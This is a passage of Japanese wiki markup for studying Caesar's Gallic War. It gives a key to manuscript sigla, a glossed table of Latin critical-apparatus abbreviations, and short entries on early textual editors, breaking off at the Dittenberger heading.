***&lt;span style=&quot;color:#00f;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot;&gt;&amp;phi;&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat consensum codicum &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;BCMSLN&lt;/span&gt;&lt;/span&gt; ： 写本&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;B C M S L N&lt;/span&gt; がおおむね一致していることを示す。
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;B = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Parisinus lat. 5763&lt;/span&gt; ： 
****:&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;C = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Vossianus Leidensis 53&lt;/span&gt; ： 
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;M = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Vaticanus (''Romanus'') 3864&lt;/span&gt; ： 
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;S = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Laurentianus Ashburnhamensis (''Ashburnhamianus'') R. 33&lt;/span&gt; ： 
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;L = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Lovaniensis Add. 10084&lt;/span&gt; ： 
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;N = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Neapolitanus IV, c. 11&lt;/span&gt; ： 
**&lt;span style=&quot;color:#80f;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot;&gt;&amp;beta;&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat consensum codicum &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot;&gt;&amp;pi;&amp;rho;&lt;/span&gt;&lt;/span&gt; ： &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;pi;&lt;/span&gt;系と&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;rho;&lt;/span&gt;系の写本がほぼ一致していることを示す。
***&lt;span style=&quot;color:#00f;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;pi;&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat consensum codicum &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;TV&lt;/span&gt;&lt;/span&gt; ： 写本&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;T V&lt;/span&gt; が一致していることを示す。
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;T = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Parisinus (''Thuaneus'') lat. 5764&lt;/span&gt; ： 
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;V = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Vindobonensis 95&lt;/span&gt; ： 
***&lt;span style=&quot;color:#00f;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot;&gt;&amp;rho;&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat consensum codicum &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;UR&lt;/span&gt;&lt;/span&gt; ： 写本&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;U R&lt;/span&gt; が一致していることを示す。
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;U = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Vaticanus (''Ursinianus'') 3324&lt;/span&gt; ： 
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;R = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex (Laurentianus) Riccardianus 541&lt;/span&gt; ： 
*&lt;span style=&quot;color:#090;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot;&gt;'''&amp;zeta;'''&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat recentiores codicum &lt;/span&gt;&lt;/span&gt; ： 上記の主要な諸写本よりも後代の写本を示す。


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;&lt;/span&gt;

== クリティカル・アパラトゥスとその略号 ==
クリティカル・アパラトゥス（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Critical apparatus|critical apparatus]]&lt;/span&gt;） とは、テクストクリティーク（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Textual criticism|textual criticism]]&lt;/span&gt;、[[w:本文批評|本文批評]]） についての注釈。古典作品のテキストにおける写本間の異同、校訂者による修正提案などを記したもの（'''異読一覧'''）。単に'''アパラトゥス'''とも呼ばれ、テキスト本文に対して、脚注欄に記されることが多い。以下に、よく使われる略号を挙げる&lt;ref&gt;「critical apparatus abbreviations」 等で検索すれば、詳しく知ることができる。&lt;/ref&gt;&lt;ref&gt;
例えば、[https://www.loebclassics.com/page/abbreviations/common-abbreviations Common Abbreviations  Loeb Classical Library] 参照。&lt;/ref&gt;&lt;ref&gt;例えば、[https://nttextualcriticism.blogspot.com/2014/11/standard-apparatus-latin-symbols-and.html NT Textual Criticism Standard Apparatus Latin Symbols and Lingo] 参照。&lt;/ref&gt;&lt;ref&gt;例えば、[https://udallasclassics.org/wp-content/uploads/maurer_files/APPARATUSABBREVIATIONS.pdf COMMONEST ABBREVIATIONS, SIGNS, ETC](PDF) 参照。&lt;/ref&gt;&lt;ref&gt;例えば、[https://didattica.uniroma2.it/files/scarica/insegnamento/178380-Linguistica-Latina/66007-Abbreviazioni-apparato-critico-in-inglese Abbreviations_in_Apparatus_Critici_(Maurer) (12).pdf](PDF) を参照。&lt;/ref&gt;

{| class=&quot;wikitable&quot; cellspacing=1
|-
!略号
!ラテン語
!英訳
!和訳
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |add.
| style=&quot;font-size:15pt;&quot; |addidit
| style=&quot;font-size:12pt;&quot; |''added''
| style=&quot;font-size:10pt;&quot; |付け加えた
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |cett.
| style=&quot;font-size:15pt;&quot; |[[wikt:en:ceteri#Latin|ceteri]]
| style=&quot;font-size:12pt;&quot; |''other manuscripts''
| style=&quot;font-size:10pt;&quot; |他の(写本)は
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |cf.
| style=&quot;font-size:15pt;&quot; |[[wikt:en:confer#Latin|confer]]
| style=&quot;font-size:12pt;&quot; |''compare with'' ～
| style=&quot;font-size:10pt;&quot; |～を比較・参照せよ
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |cod.&lt;hr&gt;codd.
| style=&quot;font-size:15pt;&quot; |codex&lt;hr&gt;codices
| style=&quot;font-size:10pt;&quot; |''MSS.''&lt;br&gt; (''manuscripts'')
| style=&quot;font-size:10pt;&quot; |写本は
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |codd. deter.
| style=&quot;font-size:15pt;&quot; |codices deteriores &lt;ref&gt;[[wikt:en:codex#Latin|cōdicēs]] ([[wikt:en:deterior#Latin|dēteriōrēs]])：dett. に同じ。&lt;/ref&gt;
| style=&quot;font-size:10pt;&quot; |''inferior MSS.&lt;small&gt;(manuscripts)&lt;/small&gt;''
| style=&quot;font-size:10pt;&quot; |(主要写本よりも)&lt;br&gt;より劣っている写本
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |corr.
| style=&quot;font-size:15pt;&quot; |correctio,&lt;br&gt;correctiones
| style=&quot;font-size:12pt;&quot; |''correction&lt;br&gt;(corrected)''
| style=&quot;font-size:10pt;&quot; |修正(した)
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |corr. recc.
| style=&quot;font-size:13pt;&quot; |correctiones recentiores
| style=&quot;font-size:12pt;&quot; |''later correction(s)''
| style=&quot;font-size:10pt;&quot; |より後代の修正
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |deest&lt;hr&gt;desunt
| style=&quot;font-size:15pt;&quot; |deest&lt;hr&gt;desunt
| style=&quot;font-size:12pt;&quot; |''(this word) is missing''&lt;hr&gt;''(these words) are missing'' 
| style=&quot;font-size:10pt;&quot; |欠落している
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |def.
| style=&quot;font-size:15pt;&quot; |defendit
| style=&quot;font-size:12pt;&quot; |''defends,&lt;br&gt;defended''
| style=&quot;font-size:10pt;&quot; |擁護した
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |del.
| style=&quot;font-size:15pt;&quot; |delevit
| style=&quot;font-size:12pt;&quot; |''deleted''
| style=&quot;font-size:10pt;&quot; |削除した
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |deter.&lt;hr&gt;dett.
| style=&quot;font-size:15pt;&quot; |deteriores (codices) &lt;ref&gt;[[wikt:en:deterior#Latin|dēteriōrēs]] ([[wikt:en:codex#Latin|cōdicēs]])：codd. deter.&lt;/ref&gt;
| style=&quot;font-size:10pt;&quot; |''inferior MSS.&lt;small&gt;(manuscripts)&lt;/small&gt;''
| style=&quot;font-size:10pt;&quot; |(主要写本よりも)&lt;br&gt;より劣っている写本
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |dub.
| style=&quot;font-size:15pt;&quot; |dubius&lt;hr&gt;dubiter
| style=&quot;font-size:12pt;&quot; |''doubtful''&lt;hr&gt;''doubtfully'' 
| style=&quot;font-size:10pt;&quot; |疑わしい
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |ed. pr.
| style=&quot;font-size:15pt;&quot; |[[wikt:en:editio princeps|editio princeps,&lt;br&gt; editiones principes]]
| style=&quot;font-size:12pt;&quot; |''the first printed edition(s)&lt;br&gt;(&amp;nbsp;of a work previously only&lt;br&gt; published as manuscript)''
| style=&quot;font-size:10pt;&quot; |最初の&lt;br&gt;印刷本&lt;ref group=&quot;注&quot;&gt;&lt;span style=&quot;font-size:13pt;&quot;&gt;『ガリア戦記』の最初の印刷本（Editio princeps）は、1469年に、&lt;span style=&quot;font-style:oblique;&quot;&gt;[[w:en:Giovanni Andrea Bussi|Giovanni Andrea Bussi]]&lt;/span&gt; 編のものが、ローマで二人の印刷者 &lt;span style=&quot;font-style:oblique;&quot;&gt;[[w:en:Arnold Pannartz and Konrad Sweynheim|Arnold Pannartz &amp; Konrad Sweynheim]]&lt;/span&gt; によって印刷・刊行された（[[w:en:Editio_princeps#Latin_works|Editio princeps]] 参照）。&lt;/span&gt;&lt;/ref&gt;
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |edd.
| style=&quot;font-size:15pt;&quot; |editores
| style=&quot;font-size:12pt;&quot; |''editors''
| style=&quot;font-size:10pt;&quot; |編者たち&lt;br&gt;(校訂者たち)
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |edd. recc.
| style=&quot;font-size:15pt;&quot; |editores recentiores
| style=&quot;font-size:10pt;&quot; |''lated editors'',&lt;br&gt;''lated editions''
| style=&quot;font-size:10pt;&quot; |より後代の刊本
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |edd. vett.&lt;hr&gt;edd. vetust.
| style=&quot;font-size:15pt;&quot; |editores veteres
| style=&quot;font-size:10pt;&quot; |''old editors'',&lt;br&gt;''old editions''
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |m.&lt;hr&gt;man.
| style=&quot;font-size:15pt;&quot; |manus
| style=&quot;font-size:10pt;&quot; |''hand'' i.e. ''copyist''
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |marg.&lt;hr&gt;mg.
| style=&quot;font-size:15pt;&quot; |in [[wikt:en:margine#Latin|margine]]
| style=&quot;font-size:12pt;&quot; |''in the margin''
| style=&quot;font-size:10pt;&quot; |欄外に
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |om.
| style=&quot;font-size:15pt;&quot; |omittit,&lt;br&gt;omisit
| style=&quot;font-size:12pt;&quot; |''omits'',&lt;br&gt;''omitted''
| style=&quot;font-size:10pt;&quot; |省いた
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |recc.
| style=&quot;font-size:15pt;&quot; |recentiores
| style=&quot;font-size:12pt;&quot; |''later (MSS)''
| style=&quot;font-size:10pt;&quot; |より後代の
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |secl.
| style=&quot;font-size:15pt;&quot; |seclusit &lt;ref&gt;[[wikt:en:seclusit]]&lt;/ref&gt; 
| style=&quot;font-size:12pt;&quot; |''has bracketed as corrupt'' 
| style=&quot;font-size:10pt;&quot; |(破損テキストと見なして)&lt;br&gt; [　] で括った
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |sim.
| style=&quot;font-size:15pt;&quot; |similia
| style=&quot;font-size:12pt;&quot; |''similar (words)''; ''similarly''
| style=&quot;font-size:10pt;&quot; |似たような；同じように
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |sc.
| style=&quot;font-size:15pt;&quot; |scilicet
| style=&quot;font-size:12pt;&quot; |''no doubt, certainly''
| style=&quot;font-size:10pt;&quot; |疑いなく、確かに
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |sq.&lt;hr&gt;sqq.
| style=&quot;font-size:15pt;&quot; |sequens&lt;hr&gt;sequentes
| style=&quot;font-size:12pt;&quot; |''following (word(s))''
| style=&quot;font-size:10pt;&quot; |引き続く(語)
|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:15pt;font-style:oblique;background-color:#ffc;&quot; |vulg(o)
| style=&quot;font-size:15pt;&quot; |vulgo
| style=&quot;font-size:12pt;&quot; |''commonly, &amp;nbsp; in the ordinary&lt;br&gt; manuscript tradition''
| style=&quot;font-size:10pt;&quot; |一般的に、&lt;br&gt;通常の写本の伝統において
|-
| colspan=&quot;3&quot; | 

|- style=&quot;font-family:Times New Roman;&quot;
| style=&quot;font-size:20pt;font-style:oblique;background-color:#ffc;&quot; |
| style=&quot;font-size:15pt;&quot; |
| style=&quot;font-size:12pt;&quot; |
| style=&quot;font-size:10pt;&quot; |
|}
===Editio princeps===
{{Wikipedia|la:Editio princeps|la: Editio princeps}}
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:18pt;&quot;&gt;[[w:en:Editio princeps|Editio princeps]]&lt;/span&gt;：　最初の印刷本&lt;span style=&quot;font-size:18pt;&quot;&gt;（&lt;/span&gt;略号&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;nbsp;ed. pr.&lt;/span&gt; &lt;span style=&quot;font-size:18pt;&quot;&gt;）&lt;/span&gt;
&lt;div style=&quot;width:55%;background-color:#ffd;&quot;&gt;&lt;references group=&quot;注&quot; /&gt;&lt;/div&gt;


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:25pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;

== 校訂版 ==


== おもな校訂者（校訂版）などの人名 ==
[[#Aldus]]&lt;small&gt; (Aldus Manutius)&lt;/small&gt;　　[[#Barwick]]　　[[#Bentley, Thomas]]　　[[#Ciacconius]]&lt;small&gt; (Chacón)&lt;/small&gt;　　[[#Clarke]]　　[[#Daehne]]　　[[#Davisius]]&lt;small&gt; (Davies)&lt;/small&gt;　　[[#Dinter]]　　[[#Dittenberger]]　　[[#Ernout]]　　([[#Estienne]])　　[[#Flodoardus]]　　[[#Frigell]]　　[[#Fuchs]]　　Fulvius [[#Ursinus|Ursinus]]&lt;small&gt; (Orsini)&lt;/small&gt;　　[[#Gertz]]　　[[#Glandorpius (Glandorp)]]　　[[#Glareanus]] (Glarean)　　[[#Gruter]]　　[[#Heller]]　　[[#Holder]]　　[[#Holmes]]　　[[#Hotomanus]]&lt;small&gt; (Hotman)&lt;/small&gt;　　[[#Jungermann]]　　[[#Koller]]　　[[#Kraner]]　　[[#Kuebler]]&lt;small&gt; (Kübler)&lt;/small&gt;　　[[#Lipsius]]　　[[#Manutius]]　　&lt;small&gt;([[#Manuzio]])&lt;/small&gt;　　[[#Meusel]]　　[[#Mommsen]]　　[[#Morus]]　　[[#Nicasius]]　　[[#Nipperdey]]　　[[#Oehler]]&lt;small&gt; (Öhler)&lt;/small&gt;　　[[#Orosius]]　　Orsini&lt;small&gt; ([[#Ursinus|Ursinus]])&lt;/small&gt;　　[[#Oudendorpius]]&lt;small&gt; (Oudendorp)&lt;/small&gt;　　[[#Plutarchus]] (&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Πλούταρχο&lt;/span&gt;)　　[[#Rhenanus]]　　[[#Rösch (Roesch)]]　　[[#R.Schneider]]　　[[#Scaliger]]　　[[#Schiller]]　　&lt;small&gt;([[#Schneider]])&lt;/small&gt;　　[[#Schneider,K.E.Chr.]]　　[[#Spillmann]]　　[[#Stephanus (Estienne)]]　　[[#Ursinus]]&lt;small&gt; (Orsini)&lt;/small&gt;　　[[#Vascosanus]]　　[[#Vossius]]　　[[#Whitte]]　　[[#Zeuss]]&lt;small&gt; (Zeuß)&lt;/small&gt;　　[[#Zucker]]　　
　　　&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;　&lt;/span&gt; 
===Aldus===
{{Wikipedia|アルドゥス・マヌティウス|アルドゥス・マヌティウス}}
{{Wikipedia|アルド印刷所|アルド印刷所}}
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Aldus Manutius|Aldus Pius Manutius]] (1449/1452-1515)&lt;/span&gt;([[w:en:Aldus Manutius|en]])　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Ald.&lt;/span&gt;）　イタリア語名　アルド・ピオ・'''マヌーツィオ''' &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:it:Aldo Manuzio|Aldo Manuzio]]&lt;/span&gt;
*:15世紀ルネサンスのヴェネツィアの古典学者で、印刷・出版業者。
*:カエサルなど、多くのギリシア･ラテンの書物を印刷・刊行した。
*:アルドゥス名義で[[w:アルド印刷所|アルド印刷所]]から発行された著作を含む。
:[[#Manutius]] も参照。
===Barwick===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Karl Barwick|Karl Barwick (1883-1965)]]&lt;/span&gt;　　ドイツの古典文献学者。
*:'''著作''': &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Caesars Commentarii und das Corpus Caesarianum (1938)&lt;/span&gt; &lt;ref&gt;[https://www.persee.fr/doc/rbph_0035-0818_1941_num_20_1_1604_t1_0135_0000_3 Barwick (Karl). Caesars Commentarii und das Corpus Caesarianum - Persée]&lt;/ref&gt;
===Bentley, Thomas===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Thomas Bentley (1692–1742)&lt;/span&gt;（ラテン語名：トーマース・ベントレイウス [[wikt:en:Thomas#Latin|Thōmās]] Bentleius）&lt;/span&gt;
*:18世紀のイギリスの古典学者トマス・ベントリー。著名な古典学者'''[[w:リチャード・ベントリー|リチャード・ベントリー]]'''（Richard Bentley）の甥&lt;ref&gt;[[w:en:Richard_Bentley#Later_life]] などを参照。&lt;/ref&gt;。
**'''校訂版'''： &lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;Bentley, T., ed. Caii Julii Caesaris de bello gallico et ciuili nec non A. Hirtii aliorumque de bellis Alexandrino, Africano, et Hispaniensi commentarii. Notas et animaduersiones addidit Tho. Bentleius. Accessere conjecturae et emendationes Jacobi Jurini. London: Innys and Manby, 1742.&amp;nbsp;&lt;br&gt;(Thomas Bentley, C. Iulii Caesaris Commentarii de bello Gallico (London, 1742))&lt;/span&gt;
===Ciacconius===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Petrus Ciacconius &lt;ref&gt;[[w:fr:Pedro Chacón]] などを参照。&lt;/ref&gt; (1525-1581)&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Ciacc.&lt;/span&gt;）　スペイン語名　&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Pedro Chacón|Pedro Chacón]]&lt;/span&gt;（ペドロ・チャコン）
*:16世紀、スペインの数学者・神学者、[[w:サラマンカ大学|サラマンカ大学]]ギリシア語教授。
*:著作：&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;C. Julii Caesaris et Auli Hirtii quae extant omnia&lt;/span&gt; &lt;ref&gt;[https://www.worldcat.org/title/c-julii-caesaris-et-auli-hirtii-quae-extant-omnia/oclc/65084468  C. Julii Caesaris et Auli Hirtii quae extant omnia (書籍, 1727) [WorldCat.org] ]&lt;/ref&gt;
===Clarke===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:la:Samuel Clarke|Samuel Clarke (1675-1729)]]&lt;/span&gt;、英語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Samuel Clarke|Samuel Clarke]]&lt;/span&gt;
*:'''サミュエル・クラーク'''：イギリスの哲学者、英国国教会の聖職者 
*:'''著作'''：カエサルの『ガリア戦記』『内乱記』などの校訂本と[[w:en:Samuel_Clarke#Translations|翻訳]]
*::&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Caii Julii Caesaris et A. Hirtii de rebus a Caesare gestis Commentarii. Ex recensione Samuelis Clarke fideliter expressa.&lt;/span&gt;[https://archive.org/details/bim_eighteenth-century_works-caii-julii-caes_hirtius-aulus_1778/mode/2up]
===Daehne===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Johann Christoph Daehne (1776-1832)&lt;/span&gt;　：　ドイツの文献学者&lt;ref&gt;[http://www.worldcat.org/identities/viaf-273408152/ Daehne, Johann Christoph [WorldCat Identities] ] などを参照。&lt;/ref&gt;。
**'''校訂版'''： &lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;C. Iulii Caesaris Commentarii de bello Gallico et civili. Accedunt libri De bello Alexandrino, Africano et Hispaniensi&lt;/span&gt; &lt;ref&gt;[https://www.worldcat.org/title/c-iulii-caesaris-commentarii-de-bello-gallico-et-civili-accedunt-libri-de-bello-alexandrino-africano-et-hispaniensi/oclc/64710439 WorldCat(64710439)]を参照。&lt;/ref&gt; &lt;ref&gt;[https://www.worldcat.org/title/ci-caesaris-commentarii-de-bello-gallico-et-civili-accedunt-libri-de-bello-alexandrino-africano-et-hispaniensi-aulus-hirtius/oclc/312032194 WorldCat(312032194)]を参照。&lt;/ref&gt; &lt;ref&gt;[https://www.worldcat.org/title/commentarii-de-bello-gallico-et-civili-accedunt-de-bello-alexandrino-africano-et-hispaniensi/oclc/887713890 WorldCat(887713890)]を参照。&lt;/ref&gt;

===Davisius===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Iohannes Davisius|Iohannes Davisius (1567-1644)]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Dav.&lt;/span&gt;）　英語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:John Davies (Mallwyd)|John Davies]]&lt;/span&gt;　&lt;!--　　&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt; &lt;/span&gt;　　--&gt;
*:後期ルネサンス期ウェールズの指導的学者（文法学者・辞書編纂者・翻訳者）。
*:著作：&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;C. Julii Caesaris et Auli Hirtii quae extant omnia&lt;/span&gt; &lt;ref&gt;[https://www.worldcat.org/title/c-julii-caesaris-et-auli-hirtii-quae-extant-omnia/oclc/65084468? C. Julii Caesaris et Auli Hirtii quae extant omnia (書籍, 1727) [WorldCat.org] ]&lt;/ref&gt;&lt;ref&gt;[https://www.worldcat.org/title/c-julii-caesaris-et-auli-hirtii-quae-exstant-omnia-recensuit-ac-selectis-petri-ciacconii-francisci-hotomanni-joannis-brantii-dionysii-vossii-et-aliorum-notis-suas-addidit-joannes-davisius-accedunt-ejusdem-curae-secundae-nec-non-metaphrasis-graeca-librorum-vii-de-bello-gallico/oclc/221348502? WorldCat]&lt;/ref&gt;）
===Dinter===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Bernardus Dinter &amp;nbsp; ; &amp;nbsp; &lt;/span&gt; &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;''Gottlob Bernhard Dinter'' （1825-?）&lt;/span&gt;&lt;ref name=&quot;Dinter1&quot;&gt;[http://www.worldcat.org/identities/lccn-no2008015312/ Dinter, Gottlob Bernhard 1825- [WorldCat Identities] ]&lt;/ref&gt; &lt;ref name=&quot;Dinter2&quot;&gt;[http://worldcat.org/identities/lccn-no2002109382/ Dinter, Bernhard 1825- [WorldCat Identities] ]&lt;/ref&gt;
*:'''校訂版'''： &lt;span style=&quot;font-family:Times New Roman;&quot;&gt;C. Iuli Caesaris Commentarii cum A. Hirti aliorumque supplentis. Recognovit Bernardus Dinter. Lipsiae, sumptibus et typis B. G. Teubneri, MDCCCLXXVI.&lt;/span&gt;　（トイプナー、1876年）
*:(WorldCat &lt;ref name=&quot;Dinter1&quot;/&gt; &lt;ref name=&quot;Dinter2&quot;/&gt; などを参照せよ。)
===Dittenberger===
